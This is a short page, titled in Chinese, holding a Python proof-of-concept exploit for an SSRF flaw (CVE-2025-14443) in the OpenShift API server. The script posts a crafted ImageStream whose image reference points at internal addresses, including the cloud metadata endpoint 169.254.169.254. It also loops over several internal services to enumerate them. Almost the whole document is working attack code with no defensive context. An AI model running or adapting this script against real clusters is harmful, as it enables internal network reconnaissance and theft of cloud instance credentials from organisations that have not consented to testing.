CVE-2025-14443 OpenShift API服务器SSRF漏洞

import requests import sys # CVE-2025-14443 SSRF PoC for ose-openshift-apiserver # This PoC demonstrates how an attacker can exploit the missing IP validation # in image reference processing to perform internal network enumeration. def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability by crafting a malicious image reference. Args: target_url: Base URL of the OpenShift API server internal_target: Internal service to target (e.g., metadata service) """ # Malicious image reference targeting internal service # The @ character separates the registry from the image path malicious_image_ref = f"http://{internal_target}/latest/meta-data/" # Alternative: Use internal IP address # malicious_image_ref = "http://169.254.169.254/latest/meta-data/" # malicious_image_ref = "http://10.0.0.1:8080/internal/api" # Construct the API request endpoint = f"{target_url}/apis/image.openshift.io/v1/namespaces/default/imagestreams" payload = { "apiVersion": "image.openshift.io/v1", "kind": "ImageStream", "metadata": { "name": "malicious-stream" }, "spec": { "tags": [{ "from": { "kind": "DockerImage", "name": malicious_image_ref }, "name": "malicious-tag" }] } } try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Malicious image reference: {malicious_image_ref}") print(f"[*] Response status: {response.status_code}") if response.status_code in [200, 201, 400]: print("[+] SSRF payload delivered successfully") print(f"[*] Response: {response.text[:500]}") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def enumerate_internal_services(target_url): """ Enumerate internal services using SSRF. """ internal_targets = [ "169.254.169.254:80", # Cloud metadata service "10.0.0.1:8080", # Kubernetes API server "10.0.0.10:53", # Internal DNS "127.0.0.1:9090", # Local monitoring "kubernetes.default.svc:443", # Internal K8s service ] print("[*] Starting internal network enumeration...") for target in internal_targets: print(f"[*] Testing target: {target}") exploit_ssrf(target_url, target) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_14443_poc.py <target_url> <internal_target>") print("Example: python cve_2025_14443_poc.py https://openshift-api:6443 169.254.169.254") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)